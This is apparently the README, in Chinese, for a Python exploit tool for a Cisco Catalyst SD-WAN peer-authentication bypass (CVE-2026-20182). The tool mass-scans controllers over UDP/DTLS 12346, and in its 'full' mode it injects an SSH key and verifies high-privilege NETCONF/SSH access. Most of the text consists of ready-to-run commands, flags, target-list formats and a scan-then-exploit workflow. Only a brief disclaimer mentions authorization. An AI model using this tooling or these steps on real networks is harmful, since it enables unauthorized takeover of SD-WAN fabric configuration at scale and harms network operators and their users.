CVE-2026-20182

Cisco Catalyst SD-WAN 对等认证绕过

CVE-2026-20182 — Cisco Catalyst SD-WAN 对等认证绕过

针对 Cisco Catalyst SD-WAN 控制器/管理器对等认证绕过 (CVE-2026-20182) 的授权测试评估工具。

漏洞概述

2026年5月安全公告： 控制连接握手/对等认证中的缺陷允许未经认证的远程攻击者绕过认证，获取受影响系统上的高权限内部访问。

攻击者向受影响系统发送精心构造的请求。成功后，攻击者可以以内部高权限非 root 账户进行认证，并访问 NETCONF，从而操控 SD-WAN 结构配置。

建议： 根据官方供应商指南应用 Cisco 安全修复程序。限制管理平面暴露，监控控制平面连接，并审计 SD-WAN 控制器是否存在未授权配置更改。

联系方式

Telegram: @KNxploited

控制台预览

工具：CVE-2026-20182.py

针对 CVE-2026-20182 的 Python 3 利用框架，适用于 Cisco SD-WAN vdaemon (UDP/DTLS 12346)。

工作原理（逐步说明）

结构回退： 遇到 TEAR_DOWN 或参数不匹配时，会重试备用 domain/site 预设 (1,100)、(1,1)、(0,0)，除非使用 --no-fallback。

结果层级（请仔细阅读）

重要说明

• check 模式 → 最多达到层级 03（绕过探测）。不是完全利用证据。
• full 模式 → 目标为层级 01 (ssh_verified)。
• 列表中的 https://host → 仅 TCP Web 提示（80/443）。不是 443 上的 UDP DTLS。

要求

pip install -r requirements.txt

OpenSSL（系统）

Windows

1. 安装 Win64 OpenSSL 3.x 或同等版本
2. 将 bin\ 添加到 PATH，或设置：

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

如果无法加载 OpenSSL，工具启动时即退出。

快速开始

交互式菜单（默认）

python CVE-2026-20182.py

• 配置选项 1–11，然后 0 = 启动扫描
• 默认运行模式：check（安全绕过探测）

非交互式（自动化）

python CVE-2026-20182.py -y

运行模式

CHECK — 仅绕过探测

python CVE-2026-20182.py -y --mode check

FULL — 注入密钥并验证 SSH（仅限授权目标）

python CVE-2026-20182.py -y --mode full

CLI 参考（每个标志及示例）

目标与工作线程

-f / --file — 目标列表（默认：targets.txt）

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — 工作线程数（1–200，默认 12）

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — 默认 DOMAIN_ID，当列表中未提供时使用（默认：1）

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — 默认 SITE_ID，当列表中未提供时使用（默认：100）

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

模式与自动化

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — 跳过交互式菜单；仅使用 CLI 值

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH 验证

--no-ssh-verify — 跳过注入后的 SSH 测试（full 模式下不推荐）

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — 在 830 之后也尝试 TCP 22

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / 结构

--no-try-list-udp — 仅使用 UDP 12346；忽略列表中的 :port

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — 实验室用：对所有主机额外测试的 UDP 端口

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — 遇到 TEAR_DOWN 时禁用 domain/site 重试

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

日志

-v / --verbose — 记录每个协议 TX/RX 消息

python CVE-2026-20182.py -y -v -f targets.txt --mode check

交互式菜单（省略 -y 时显示）

targets.txt 格式

每行一个目标。以 # 开头的行被忽略。

示例文件

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

不支持： IPv6（仅 IPv4 / 主机名）。

输出文件

SSH 命令示例（层级 01）

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

推荐工作流程

1) 快速筛查多个主机

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

查看 cisco_sdwan_03_bypass_only.jsonl 和实时统计中的 Bypass only。

2) 在入围主机上确认漏洞利用

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

查看 cisco_sdwan_01_confirmed_ssh.jsonl — 唯一包含 ssh_verified: true 的文件。

3) 调试单个主机（详细模式）

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

实时遥测（扫描期间）

操作说明

• 默认模式为 check — 本身不写入密钥或不证明 SSH。
• 真正成功 = full 模式下的 ssh_verified=true。
• 已修补 / 错误结构 → 通常在 CHALLENGE_ACK 后收到 TEAR_DOWN；启用结构回退或修复列表中的 domain/site。
• 防火墙 必须允许从扫描器到控制器的 UDP/12346（以及任何额外的列表 UDP 端口）。
• 不要将 sdwan_keys/ 或扫描结果提交到公共仓库。

法律免责声明

本软件仅用于授权的安全研究、防御性评估和教育目的。

您必须获得明确的书面许可才能测试您不拥有或不操作的任何系统。未经授权访问计算机系统是违法的。作者不对因使用本工具而产生的误用、损害或法律后果负责。

仅在对系统和网络拥有明确授权进行安全测试的情况下使用。

作者：Nxploited ( Khaled Alenazi )